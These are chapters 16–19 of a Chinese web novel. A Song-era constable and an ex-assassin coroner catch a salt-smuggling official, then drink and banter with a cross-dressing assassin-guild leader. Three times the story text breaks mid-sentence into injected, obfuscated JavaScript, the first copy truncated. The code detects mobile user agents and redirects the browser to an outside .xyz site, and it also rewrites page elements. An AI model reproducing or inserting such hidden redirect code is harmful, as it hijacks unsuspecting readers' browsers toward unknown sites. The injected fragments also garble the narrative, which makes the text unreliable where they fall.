柳晏绘出的人像栩栩如生,但并不是宋准见过的人,他把画像递给令狐朝,令狐朝看了也摇摇头。 “你认识这人吗?”宋准问道。 “不认识啊,只不过看打扮像是个刺客的样子,后来我也没再见过他了。”柳晏说着话,不知道从哪儿掏出来一面小小的铜镜,对着镜子整理自己的头发。 宋准十分无奈地踱回书案边,整理了一下上面的东西,拿着令狐朝的记簿和那两本密码本对令狐朝说:“令狐兄,随我再去那个码头一趟。” “好。”令狐朝答应得干脆,柳晏满意地放下铜镜时那两人已经离开,便立刻又追上去,跟在令狐朝身侧,想伸手挽上他的胳膊,却被他灵巧地躲开,柳晏扑了个空,一个趔趄差点摔倒,发现周围有不少人,又马上装作若无其事地跟在了他们身边。 路上宋准问他:“柳晏,你知道吟兰苑地下的暗道都通的哪儿吗?” “吟兰苑现在是我的产业,我自然知道。”柳晏语气十分得意,仿佛在说什么了不起的事情,“进出就只有两个通道,后院的角门,还有你们说的码头那边,只不过码头的外门是锁上的,只能进不能出。” 说到这里,他像是想起来什么,又补充道:“你们两个,上次是不是把锁链砍断了?还是我给你们擦的屁股,不然让人发现有旁人去过,他们还能把赃物放在那吗?” “疏忽了,多谢你。”宋准道。 三人到了码头上,柳晏率先跳上甲板进了船舱,掀开了地上活动的地板,打开箱子取出了那些密信。 令狐朝对照着密码本,先只译上面的时间,挑出来最近一次交易的时间,再译全篇,那里面写的内容,赫然是要在本月初九交易最近的一次私盐,地点就是吟兰苑,交接货物的地方则是这个老码头。 16. 码头追凶 两日后便是初九,宋准将此事暂时先压下,准备在初九那日蹲在老码头来一个守株待兔,柳晏回吟兰苑准备重新营业的事宜,并放出了初九照常营业的消息。 趁着这两日无事,柳晏便以小蛮的身份站出来指认黄寅雇凶杀人,并将杀手的画像张贴在市集,黄寅被抓入大牢,起初他拒不认罪,直到宋准在他家中搜出了古董行里丢失的古董,令狐朝也通过字迹验证了那封所谓的李鹤年写的信件实为伪造,黄寅才伏法。 宋准也知道了商户们所说的黄寅的宅邸堪比皇宫是比在了哪里,原来他的前院是刻意造得普通了些,穿过渡廊进内院才是别有洞天,雕梁画栋,梁柱都是用的黑檀木,屋内都有纯金的匾额,后院养着很多名贵的花草,库房里金银财宝一箱摞一箱,其价皆以万金计。 初九那日傍晚,宋准和令狐朝都早早到了吟兰苑,在柳晏的房间里过最后一遍流程。 柳晏坐在妆台前把自己打扮得花枝招展,红色的襦裙衬得他像个狐狸精似的,他又将眼尾画得更上挑了些,发间簪着朵牡丹花,显得一旁的珍珠簪子都减了光彩,他又戴上一对白玉耳铛,这才对着铜镜满意地笑笑。 令狐朝和宋准在纸上将过程推演了一遍,说到柳晏的部分,他没答话,令狐朝便叫他:“狐狸精,哎,说你呢,戴花的那个。” “怎么了晦言?”柳晏用女声应道,转过头问,“我漂亮吗?” 宋准坐在窗下的矮桌旁撑着头瞧他:“小柳姑娘,一会儿要做什么你还记得吗?” 这几日他们三人一直聚在一起商议今日的计划,宋准也对柳晏有了些了解,除了是鬼樊的楼主之外,这个人的心性不过就是个普通的少年,不过喜欢扮女装又好男色,才刚刚满二十岁,前两年接管了鬼樊,就没再让楼里的人接过杀人灭门的单。 这次鬼樊会转移到临安来,是打听到了晦言——也就是令狐朝的下落,柳晏想让令狐朝重新回鬼樊去,才三番五次来找他。 “当然记得呀,怎么说我也是鬼樊楼楼主,你以为这个位置那么好坐吗?”柳晏站起身,拿起妆台边上的丝带系在颈间,遮住那道疤痕,才走到窗边的矮塌,坐在了令狐朝边上。 “好晦言~晦言你看看我,我这样打扮还漂亮吗?”他将脸凑到令狐朝面前,却被令狐朝用手抵住额头推开,敷衍地应了几声:“漂亮漂亮。” 柳晏没有丝毫不快,起身道:“哎,时间差不多了,我要去接客了,他们下去了我就放信鸽,你们在码头那边万事小心。” “好。” 吟兰苑里专为贵客开辟的厢房早早点灯熏香,正门紧闭,暗道里的灯添上桐油,只亮着通往厢房的这一路,柳晏靠在栏杆上,千娇百媚——或许这时应该称呼他小蛮,那张脸上没什么表情,只是淡淡地看着楼下水渠里顺水漂流的花瓣儿,小声地哼着首曲子。 宋准一早叫了陈捕头带人守在码头附近的河岸上,他和令狐朝躲在旁边的一艘破船里,透过封头板的豁口,正好能看到码头的全貌。 夜深了,九夜月只余一半,昨日刚落过雨,落得今天一日晴,明月繁星,清风徐徐。令狐朝躺在甲板上看星星,不自觉道:“真美啊,想上天去看看。” 宋准死死盯着河岸下的那扇小门,唯恐柳晏的信鸽比人还迟来,听到令狐朝的话,目不转睛地说了句:“令狐兄别光顾着看星星了,人抓到了还怕没星星可看吗?” “好好好,不看了。”令狐朝翻身趴下,一只灰色的信鸽落在了他面前,腿上系着的铜管里放着字条,打开来只有两个字:“来了。” 宋准立刻警惕起来,过了也就半柱香的时间,几辆牛车停在河边小路上,下来了几个着短褐戴斗笠的男子,河岸下的小门被他们打开,从里面出来一人,头戴帷帽看不见面容,但其身材魁梧壮硕,想必不是普通人。 他们没人说话,只互相打手势,随后便有几人上了那艘改造过的船,从那船上搬了一口又一口箱子下来,装在了路边的牛车上。 眼见此时正人赃并获,宋准一声哨响,埋伏在附近的捕快冲上去将还在搬箱子的人拿下,那个戴帷帽的人见状想泅水离开,被令狐朝用袖箭击中,浮上了水面,帷帽被水冲走,月光照在他的脸上,竟是盐场的李监官! 宋准立刻将这些人与船上所有的私盐一并带回衙门,王县令连夜升堂初审,加急送文书去盐官县查封盐场的账簿和物资,在盐场工作的盐工也一并作为人证带回。 那艘船上的盐被一一清点出来,足足有五百斤。 第二日,带回的盐工里有人主动作证,盐场的账簿和记档作假,李监官以谎报损耗和克扣盐商的盐积攒出大量私盐,雇一些地痞流氓替他运输至老码头的船上藏匿,他再通过密信的方式将盐卖出。 牢里的黄寅也出来作证,每次去兑盐时都会缺斤少两,但碍于李监官在盐场只手遮天的权力,他只能忍气吞声,敢怒不敢言。 官盐走私乃是重罪,何况是官员监守自盗,数额巨大,初审的卷宗被加急送往州府和提点刑狱司,曹牧参军亲自来临安押解李监官去州府大牢,宋准作为一手查案的官员,也随他们一同前去。 复审庭前,知府叶甫看过证据后觉得案子有蹊跷,叫来宋准问:“宋县尉,你说你们抓住这个李监官是译了船上的密信?” “回叶知府,正是。密信由西夏文书写,需先译为契丹文后再译回汉文,译信的密码本是在青楼花魁的房间里找到的。” 叶知府紧皱眉头,只说了句:“这案子可不像是他一个人就能办到的。” 庭上,李监官对他如何藏盐运盐销盐的过程都供认不讳,叶知府再一次问他,此事是否有他人威胁或指使,李监官却都咬死了不松口,说这些事皆是他一人所为,花魁的密码本也是他给的。 曹参军在一旁道:“李监官是个忠臣啊,只是不知这忠臣的嘴受不受得住刑部大牢的三十六道刑罚。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509378|170544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我说了!此事皆是我一人所为!屈打成招为人所不齿!”李监官往地上啐了一口,立刻就有一棍从后面将他打倒在地。 “藐视公堂,罪加一等!来人,先将其押入大牢,等刑部与大理寺联合审问!”叶知府一拍惊堂木,李监官被侍卫押去了大牢。 之后的审查便不是宋准能够参与的了,离开州府,他快马加鞭地赶回了临安县。 刚上任就连破三案,宋准一进城门就被夹道欢迎,百姓们纷纷往他身上撒花,几个红娘抢着要给他说亲,吓得他脸都白了。 路过吟兰苑的时候,抬头就瞧见二楼开着的窗前,小蛮和令狐朝都趴在窗台上看他,小蛮更是解下颈间的丝带向下抛去,风一吹,正落在宋准肩头,胭脂香粉气味浓郁,呛得他直咳嗽。 于是他干脆将马拴在吟兰苑门口,上楼去找那两个看热闹不嫌事儿大的人。 一进房门,就看见小蛮侧身躺在矮塌上,颈间的疤痕明显,他却没再用新的丝带遮掩。令狐朝坐在一旁的角落里若无其事地看书,手里拿着个茶碗时不时啜饮一口。 “宋县尉~好大的排场呀。”小蛮刻意夹着嗓子,十分做作地捂嘴笑,“一举成名呢~”令狐朝也禁不住笑了一下,放下书看他。 “你能不能正经点儿?”宋准被他这副样子闹得浑身肉麻,把团成一团的丝带扔到了他脸上,“怎么连这个都扔了,不是用来遮疤痕的吗。” 小蛮坐起身,拿起丝带重新系在颈上,说:“无妨,瑕不掩瑜。唉,小时候不懂事儿,早知道会留疤,就不装什么铁血硬汉了。” “你倒是也会后悔啊。”令狐朝放下茶碗,侧头看他。 宋准在令狐朝身边坐下,从怀中掏出一包桂花糕递给他:“路上买的,尝尝?” “什么好东西,给我瞧瞧。”小蛮一把夺过来,拿出一个咬了一口,“嗯!好吃!云香坊的糕点吗,真舍得下血本啊宋准。” 宋准没理会他,对令狐朝说:“叶知府怀疑官盐走私不是李监官一个人做的,他背后可能还有人,但李监官拒不承认,只说所有事情都是他一个人做的。其实我也疑心,凭他一个监官,如何能将这件事做得恰到好处,还不被人发现,而且,他怎么懂西夏文和契丹文?总要有人提供密码本给他吧。” 令狐朝捏起一块桂花糕嚼着,打掉了小蛮伸到自己腿上的手:“再乱摸就剁了你的手!”小蛮委屈地一撇嘴:“不摸就不摸嘛,这么凶干什么。”说完坐到边上弹琴去了。 “这些事情就让提刑司去查吧,虽然我也觉得事有蹊跷,但这并不是我们能左右的了,让柳晏多留意着吟兰苑里的消息就是了。但是初九才出过事儿,他们或许会消停一阵子。”令狐朝说。 “令狐兄所言有理,案子破了也好,现下能过一阵子安生日子了。”说完宋准靠在了窗下的靠垫上,小蛮的琴艺精进了些,空谷幽兰一般,太阳光照在脸上暖洋洋的,不知不觉便睡着了。 17. 断尾求生 睡梦里,似乎听见柳晏在笑,令狐朝说:“他醒了非把你手剁了不可。” “失了一手又何妨?见到这般美人儿,就算双手尽失,也值得了。哈哈哈哈哈哈……”柳晏笑得开怀,又问令狐朝,“怎么样晦言,是不是很漂亮?” 紧接着令狐朝也发出爽朗的笑声,宋准睁开眼,只觉得眼皮上沉得很,要伸手去揉,却被柳晏抓住了手:“哎,别揉别揉。”他脸上带着笑,窗外的阳光照在他脸上,好看极了。 宋准皱眉道:“你们在干什么?” “噗嗤!”令狐朝又笑出声来,递给他一面铜镜,“哈哈哈哈哈你看看吧,柳晏的手笔。” 接过镜子一瞧,自己脸上竟被施了厚厚一层妆,胭脂涂在双眼下方,看着像刚哭过似的,耳朵上别着朵花,发髻也被拆了披散下来,他本身鼻梁高,眼窝又深,这样施了妆看着就像胡姬似的。 “柳晏!”宋准扔下镜子,起身去追已经窜到房梁上的柳晏,“给我下来!什么毛病?趁我睡着了搞这些?” “好晦言~你劝劝他,这还不是方便县尉以后在吟兰苑活动嘛,遇人我便说是新来的胡姬,谁会知道你是县尉啊,对吧。”柳晏死死抱着房梁,不时把垂下去的裙子捞上来,生怕被宋准拽住。 “不是双手尽失也值得吗?怎么怕成这样?”令狐朝斜倚在靠垫上抬头瞧他,又对宋准道,“他说的也不全错,易个容确实方便行动。不过没经过你同意都是他不对,我帮你把他弄下来,砍了他的手。” 说完,令狐朝走到妆台旁边,从妆奁里拿出一个十分精美的盒子,打开闻了闻道,“嗯,好香啊,是香粉铺子限量的香粉?”他将那个小盒子慢慢倾斜过来,玩味地瞧着柳晏,“要不小心摔到地上喽~” “不要啊!”柳晏飞扑下去抱住了令狐朝,从他手上抢下了那盒香粉,十分宝贝地放回妆奁里,一回头,令狐朝和宋准都站在了他身后盯着他。 他“扑通”一声直接跪下了,哀求道:“我错了!我错了!我再也不敢了!晦言你不能这样对我,晦言,我再也不随便摸你了我不能没有手啊晦言!” 宋准一把抓住了他的手腕,打量着那双覆着一层薄茧的手:“方才是哪只手给我上的妆?这只?” “不是…不是……”柳晏躲避着他的眼神,因为看到他脸上的妆便忍不住笑,随后又理直气壮地说,“是,就是这只手,但你要剁我的手可没那么轻易,真刀真枪的你可不一定是我的对手。” “这么有实力?不如我们比试一场?”宋准松开他的手,把他扶了起来,又问,“你这些东西要怎么洗掉?” 柳晏看了他一眼,又忍不住笑了,从妆奁里拿了个瓷瓶递给他:“用这个吧,噗哈哈哈哈哈哈哈哈……” 令狐朝在后面拍了一下他的后脑勺:“有那么好笑吗?” “啊!对我不能温柔点儿吗?” 宋准重新梳好了发髻,用那瓷瓶里的油洗掉了脸上的严妆,柳晏去换回了男装,二人便在吟兰苑后院空地上划出块区域来,分别站在两侧各执一剑,让令狐朝站在一旁做裁判。 他一声哨响,两人如离弦之箭一般冲出去厮打了在一起。 柳晏手腕上下翻飞,看似无章法的出剑招数却招招冲着宋准的要害去,但都被宋准灵巧地避开或挡下。 两人的剑打在一起,发出铮铮铁鸣,宋准瞧得真切,柳晏看似瘦削的身体却隐藏着极大的力量,那双平日里总是含着笑的桃花眼此刻充满了杀气,一招一式都干脆利落,自己已经有些招架不住。 在柳晏再一次出招刺向宋准面门时,他迅速向侧边避开,找到机会立刻出招制住了他的手臂,使他背对着自己,却不想柳晏竟然极快地卸下了肩膀的关节,剑从右手换左手,转身的下一瞬,手里的剑就架在了宋准脖子上。 “承让了,宋县尉。”柳晏拿下剑,熟练地挽了个剑花,握住被卸掉的手臂向上一转,就又接上了,他活动了一下肩膀,笑着看向令狐朝,“怎么样,晦言,我还厉害吗?” 令狐朝也笑着点了点头。 “你这胳膊是……”宋准十分惊愕地看着他那一通行云流水的拆卸自己关节的操作,已经完全不在乎自己输给了他。 柳晏一歪头道:“就像壁虎断尾求生一样,只是卸个关节而已,还不是缩骨功呢。晦言也会的,鬼樊养大的孩子都会。” 宋准又将惊愕的脸转向令狐朝:“真的吗?” 令狐朝点点头,一转肩膀就卸下了左臂的关节,又在宋准惊愕的目光里接了回去。 “最开始练的时候,一定很疼吧。”宋准问道。 柳晏眨了眨眼睛,说:“不记得了,不就是趁着年纪小骨头软,把关节不断地拆下来再接回去,时间长了就不疼了。” “不愧为楼主,宋某甘拜下风。”宋准向着柳晏行了礼,将剑插回了剑鞘中。 柳晏笑起来,说:“你以为呢,当上这个楼主,我可谓是一路披荆斩棘,差点就死了,还好我命大,不然就再也见不到我的晦言了。” 令狐朝听了这话,问他:“我确实也忘了问你,你是怎么混到楼主的?” “你走了没几年,前楼主就不行了,楼里就要选新楼主,当时大家都在说,你要是没离开的话,楼主肯定就是你的了。但是没人知道你的下落,正好那个时候楼里接了一个很凶险的单子,前楼主就说谁能完成这个单子,楼主就是谁的。” “所以你就接了?” “那当然了,要是其他人当上楼主,肯定会不惜一切代价找到你要了你的命,我可不想让你死。那些年你也处理掉过不少楼里去追杀你的人吧,都是那些人。” 说到这里,宋准打断了他的话:“等会儿,你是说,他差点是楼主?” “对啊。”柳晏说起这件事儿十分自豪似的,拍了拍令狐朝的肩膀说,“晦言以前很厉害的,骑术射术都是顶级的,还会用毒,几十个人都轻易近不了他身呢。” 宋准不自觉地喃喃道:“好危险的人物啊……” “别听他瞎扯,我已经很多年不练那些了,手早就生了。”令狐朝伸手在柳晏后脑勺上拍了一巴掌,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509379|170544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别再提以前的破事儿了,你能坐上楼主,很厉害。” 柳晏冷不丁被令狐朝一夸,耳尖却红了,脸上也泛起些红晕来,垂着头说:“那你能从了我吗?” “别逼我在心情好的时候扇你。” “我错了。” 夜里,三人又聚在了令狐朝的船屋里谈天说地,宋准问起了关于当年卫府大火的细节,令狐朝说,他并不知道那个单子是谁派的,一般找鬼樊做这些脏事儿的都不会亲自与鬼樊的人见面,就是怕任务一旦失败,刺客被抓了活口留下把柄。 当时他是先潜入了马厩,烧了马草,随后才去的别处浇火油,不过因为当时那座宅子已经空了,门外有侍卫看守,他做得很小心,没留下什么痕迹,在远处眼看着火势蔓延才离开的。 只是没想到回据点的路上就被人追杀,一路爬上了山崖,又从上面坠了下去,掉进了崖下的水潭,再醒来的时候就已经在师父的家里。 令狐朝讲到这儿时说:“刚醒来的时候我什么都不记得了,师父问我从哪来叫什么名字年岁几何,我通通想不起来,他就给我取了名字,随了他的姓,看了齿序,说我大约十九岁。” “那你是什么时候想起来以前的事情的?”柳晏问他。 “又过了一两年吧,那时候我已经在和师父学验尸了,他说我看到尸体都面不改色的,当时我也以为是我天赋异禀,谁知道原来是因为以前是刺客。” 宋准思索了一阵,又问道:“那令狐兄可知道追杀你的人是谁?” “我也不知道,我没看见过那些人的脸,但我依稀觉得可能是下单让鬼樊焚卫府的人。”令狐朝说,“死一个刺客,对他们来说没什么大不了的,人都死了,到时候就说歹徒畏罪自裁,少了不少麻烦。” 外面不知道什么时候开始下雨了,越下越大,眼见是走不了了,令狐朝索性又拿出了两坛酒来,还把年节时存的腊货拿出来煮了,又扔了几个山笋进去,香气扑鼻。 柳晏十分兴奋,凑在宋准边上说:“晦言的手艺可好了,做什么都好吃。” 宋准吃过令狐朝做的饭,知道柳晏这话不假,也说:“令狐兄若是不做仵作,去开酒楼也是门庭若市。” “我?开酒楼?算了吧,我可是会给人下蛊的。”令狐朝笑着把酒碗递给他们俩,宋准伸手接过,柳晏却摆摆手道:“不要,喝酒会胖的,我还要跳掌上舞呢。” “你一个刺客你跳什么掌上舞?”令狐朝斜眼睨他,“你到底想说什么?” 柳晏原本脱了鞋袜盘腿坐在榻上,听了令狐朝的话,手撑在榻边跪坐起来,把脸凑到令狐朝面前,十分期待地说:“晦言若肯喂我,是穿肠毒药我也喝。” 宋准在一旁瞪大了眼睛瞧他,一脸不可置信。 “是毒药也喝?”令狐朝问,柳晏立刻点了点头。 令狐朝走到药柜旁,翻出个小瓷瓶来,从里面倒出一粒小丸药来泡进酒里,端到了他嘴边,挑眉示意他尝尝。 柳晏面不改色,依旧是那副好看的笑脸,叼住了酒碗边缘,仰头饮尽。 18. 遇知音 “柳公子?你怎么!”宋准在一旁看得目瞪口呆,又看向令狐朝,“令狐兄,真是毒药啊?有解药吗?” 柳晏松开酒碗拿在手里,重新坐回了床上,摸了摸自己喉咙,想开口说话,却像被扼住了喉咙一般,一点声音都发不出,只能瞪大了眼睛看向令狐朝,伸手要去拉他的袖子。 令狐朝笑起来,把椅子拖到榻边坐下看着他:“从你嘴里说出来的话句句都让人害怕,没事儿,只是一点哑药,明天早上就会好了。” “好了之后不会有什么问题吧?”宋准不放心地问道。 “不会的,就是让他安静一晚上而已。”令狐朝端起自己的酒碗喝了几口,又替自己和宋准添满,柳晏也把酒碗递来,用气声说了句:“我也要。” “不是还要跳掌上舞吗?” 柳晏摇摇头,指了指自己的腿,指了指令狐朝的腰,摆摆手。 “柳公子是…在比划什么意思?”宋准问。 “他说他腿上有伤,跳不了了。”令狐朝接过他的酒碗倒上酒,递还给他,问,“腿是怎么回事儿?” 柳晏掀起左腿裤管,在膝盖下方有一块铜钱大小的凸起的疤痕,暗红色的。他用手比划了一支箭的模样指在那块疤痕上,又比了个手刀在颈前一划,向后倒去。 “被暗箭伤的?”宋准问。 柳晏坐起身点点头,用手比划成小人的模样,走路一瘸一拐的,眯眼皱眉比划了一个“十”,还有几个奇怪的手势,随后伸手掐住自己脖子,又向后倒去。 “这又是什么意思?”宋准又问。 令狐朝面色有些凝重,解释道:“他说他出任务的时候被暗箭射到了膝盖,疼得要死,拔了箭跑回去,结果十个月都没法好好走路,接不了单,前楼主差点把他丢出去放生了。” 柳晏坐起身十分肯定地笑着点点头,对令狐朝比了个大拇指,看见令狐朝严肃的表情,又渐渐收敛了笑意,手上飞快地比划了几个手势,拍拍宋准的袖子意思让令狐朝解释给他听。 “他说这样的伤对他造成不了什么威胁,只是那段时间走路不太方便,后来他又接了个更凶险的单子,带着伤上了,楼主因此对他另眼相看,算是因祸得福。”令狐朝虽是在对宋准解释这些,眼睛却是一直看着柳晏,而他只是笑着点点头,似乎并不觉得这是什么大不了的事情。 宋准听了这话,转头对上了柳晏带着笑的眼睛,难怪曾经在练身法时,老师说他们这些世家子弟若有江湖刺客一半的血性,前朝也不会让金人逼退到南方来。 他们的经历,是以命换命,若不杀人,被杀的就是自己。方才在吟兰苑后院与他比试时,宋准也能觉出柳晏每一个动作都是极狠极刁钻的杀招,且是收了几分力的,否则自己连他七八招都接不住。 但他们都并不想过这样的生活,所以令狐朝选择了离开,而柳晏接手鬼樊之后,立刻就停了杀人灭门的业务,只做些普通的生意维持楼里的运转,却意外发现这些普通生意甚至比从前杀人越货好做得多,也不用整日东躲西藏。 令狐朝站起身,从药柜里取出一罐药膏来递给柳晏:“阴天下雨的时候都很疼吧,涂上能缓解一些。” 柳晏接过药膏涂在了伤处,突然想起什么似的,抬头比划了几个手势,令狐朝说:“你不用管我,这是我自己配的,我还剩了很多,不够再配就是。” 宋准在一旁问:“令狐兄是怎么看懂柳公子那些手势的?” “噢,是从前在楼里学的手语。”令狐朝正想坐下,突然想起来什么似的,又返回药柜处拿了粒药过来塞到了柳晏嘴里。 “嗯?晦言你又给我吃了什么?啊我能说话了!”柳晏摸了摸自己脖子,又夹着嗓子用女声说了几个字,“啊!啊?啊!晦言我就知道,你怎么会舍得让我哑掉呢。” 说完他美滋滋地斜倚在被子上喝酒去了,令狐朝没理他,只是对宋准说:“今夜下了雨,明日天气应当不错,等你放了值不如一起去下游钓鱼吧。” “好啊,左右这几日也闲着,钓鱼也是消遣。” “钓鱼?我也要去。”柳晏说。 令狐朝转头看他:“柳老板好兴致,你吟兰苑不接客了?” “谁要去伺候那些臭男人啊,我只想和我的晦言在一起。”柳晏皱着眉,撇了撇嘴又说,“难道你不让我去是想和宋准私定终身?” “柳公子这话可不能乱说,我可不喜欢男人。”宋准吓得往远处坐了些远离柳晏,靠在柜子上瑟瑟发抖,向令狐朝投去求助的目光,战战兢兢道,“令狐兄也不喜欢男人的……吧?” “我不喜欢人。”令狐朝淡淡地说,“男人,女人,只要是人,我都不喜欢。” 柳晏闻言如遭雷劈,起身凑到令狐朝面前:“真的吗晦言,连我你都不喜欢了吗?以前我们还在西凉的时候,你说你最喜欢我的!” “那时候你才八岁。” “那你以前给我治伤,晚上还抱着我睡觉呢!” “那时候你才六岁。” “那你最后一次出任务之前,你给我买了好多糖,说只给我一个人呢?” “……”令狐朝沉默了一瞬,随后说,“你是不是错把亲情当爱情了。” 柳晏的笑容收敛了,呆愣愣坐回去靠在被子上,喝着碗里的酒不再说话了。宋准看了看一言不发的柳晏,又看看埋头喝酒的令狐朝,还是选择了一起沉默。 须臾,令狐朝放下酒碗,转身看向柳晏,说:“你刚被拐到鬼樊的时候不过四五岁,小小的一个人儿却一身傲骨,任凭怎么打骂都死活不从,叫嚷着要回家,结果被拴在营帐外面磨性子。我觉得这孩子以后肯定有出息,又看你气息奄奄趴在地上可怜得紧,便对你格外好些,早知道你小子长大了天天想着要把我收入囊中,我那时就不应该心软。” 柳晏的眼里泛起些泪花,十分委屈地盯着令狐朝,还是不发一语。 “怎么还哭了?你就非要和我是那种关系吗?” “那倒也不是。”柳晏嘟囔着,“但是你不能再像之前一样一走好几年没有消息,我一开始以为你已经死了,还在西凉给你立了衣冠冢,逢年过节都烧纸,盼着你在下面能不过每天打打杀杀的日子。后来才听说有人在南方见到你了,我一当上楼主就马不停蹄地就把西凉的产业全卖了搬到临安来,就为了找你。” 听到这里,令狐朝愣住了,半晌,上前摸了摸他的脑袋:“好了,我没那么容易死,今后也不用再打打杀杀的了。” 柳晏这时吸了吸鼻子,看向他说:“你说话算话。” “自然。”令狐朝伸手在他头顶揉揉,擦掉了他眼角的泪,“好了好了,别哭了,明天去钓鱼不好吗?” 柳晏的脸上这才恢复了笑容,盘腿坐起来盯着地上的炭炉说:“熟了吗?可以吃了吗?” 宋准坐在一旁看着他们二人,心里不知道是什么滋味。他想起了自己的长兄宋恪,从前在家里时,长兄也总是这般哄着自己,有什么误会都耐心解释,父亲去得早,长兄如父对他而言不仅仅是几个字那样简单。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509380|170544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “宋准?”令狐朝叫他,递给他盛出的汤,“尝尝这个。” “啊?哦…多谢令狐兄。”宋准醒了醒神,许是喝了些酒的缘故,反应也迟钝起来。 柳晏忽然开口说:“好久没听晦言弹琴了,晦言,为我弹一曲《流水》好不好。” “怎么突然又要听我弹琴了。”令狐朝说着,却已经从药柜顶上拿下了他那张琴,解开锦袋,放到了桌上问,“就听《流水》吗?宋准想听什么?” 宋准正嚼着一块山笋,听见有人叫自己,忙咽下去说:“啊?我都可以的,我不太懂琴,只知道一曲《广陵散》。” “《广陵散》?你倒是会选。”令狐朝垂眼调着弦,微微笑了一下,手指依稀从弦上抚过,确认弦已经调准,他便端坐在椅子上,开始弹柳晏想听的那首《流水》。 令狐朝的琴艺是极好的,曲调精通,情意皆具,七十二滚拂熟稔流畅,如溪水潺潺在山石之间,柳晏一直没说话,只是用手撑着脸歪头看他的背影,看着看着,两行泪便滚落了下来。 一曲毕,令狐朝双手缓缓放在弦上止了音,回头去瞧榻上坐着的两人,宋准十分欣赏地说:“令狐兄弹得极好,我虽不懂琴,却也能听出潺潺流水之意。” “宋准,有眼光啊,晦言的琴艺乃是神授!”柳晏也十分欣赏地笑着拍了拍宋准的肩膀,他虽笑得灿烂,令狐朝却看见了他红红的眼圈下的一小段泪痕,在灯火下亮晶晶的。 不知道那孩子又想到了什么,悄无声息哭完又故作潇洒笑着说话,令狐朝没有去问,他大概能猜出是因为什么,看到他平安成年,还坐上了鬼樊楼主,心里其实觉得很欣慰,就像是自己的孩子终于长大,又有了出息。 船外雨声丝毫没有要停的样子,还越发大了,宋准起身打开后门看了看,道:“看来今晚只能留宿在令狐兄这里了。” 令狐朝也推开窗向外看去:“无妨,床榻可以展开,睡三人不成问题。”说完他关上窗微微笑了笑,双手再次拂上琴弦,开始奏那曲《广陵散》。 与方才的《流水》全然不同,《广陵散》中杀气腾腾,一段之于一段情绪高昂,更有图穷匕见之意,曲末又恢复轻描淡写,似是大仇得报后的平静。 曲毕,令狐朝缓缓止了琴音说:“其实,这并不是真正的《广陵散》,嵇康死后,《广陵散》便失传了,这是后人再作的,并不能重现嵇康曲之一二。” 他的语气中有些遗憾,宋准听得出来,于是他便说:“或许每个人都有自己的《广陵散》,令狐兄无法再奏出嵇康那一曲,但若是嵇康在世,也不会奏出令狐兄这一曲,曲子本身没有那么多的意义,是弹奏的人给了曲调意义。” 令狐朝低头笑了,侧身看到靠在被子上有些昏昏欲睡的柳晏,对宋准说:“时候也不早了,将床榻挪一挪凑合睡吧,这孩子都困成这样了。” 柳晏迷迷糊糊睁开眼,看看令狐朝,又看看宋准,没说话,令狐朝便叫他:“下来,将床榻挪一挪。” “啊?……哦哦…” 令狐朝把床上的被褥收起来让宋准先抱着,和柳晏挪开了桌椅炭炉腾出地方,然后打开了床塌下面的一个小机关,从下面抽出了一块和原本的床榻一般大的竹栅,支好床腿,原本就不算很小的床榻就这样变大了一倍多。 宋准有些好奇,问他怎么会用这样的一张床榻,令狐朝笑着抿了抿嘴说:“你不会想知道的。”闻言宋准似乎想到了什么,嗯了一声不再追问。 三人挤在这张榻上,听着雨声也都一夜好眠。 19. 鱼 第二日清晨,雨已经停了,令狐朝睁开眼就发现柳晏像个八爪鱼似的缠在他身上,推了半天才将他推开,立刻下了床出门到了船尾上。 简单洗漱过后,他便将炭炉搬了出去烧水煮粥,等再回来取东西时,看见柳晏又缠到了宋准身上,但宋准还并未察觉,睡得很沉,令狐朝没忍住笑出了声,惊醒了宋准。 “天亮了吗?”宋准问,随即又感觉身上不对劲,“好沉啊……” 睁开眼,这才看到几乎要和自己脸贴脸的柳晏,吓得大叫一声,柳晏也被惊醒,看见自己死死抱着的是宋准,令狐朝正站在一旁看着他,揉揉眼睛迷迷糊糊说了句:“晦言,你怎么在这?” 柳晏松开了宋准,像是没反应过来似的,又问:“这是哪儿啊?我怎么在这儿?晦言?”说完他坐起身,茫然地打量了一下周围,慢吞吞地说:“噢……想起来了…下雨了,然后就……啊…” 他打了个很长的哈欠,伸了个懒腰,捶了捶后背,黏糊糊地又说:“腰好酸啊…像做了一整晚似的。” “你不是一整晚都在躺着睡觉吗?”宋准十分不解道。 令狐朝翻了个白眼,对宋准说:“别理他,污言秽语的。醒了就起来收拾收拾吃点东西吧,我煮了些粥。雨停了,你去衙门点卯,我和柳晏先去打窝。” 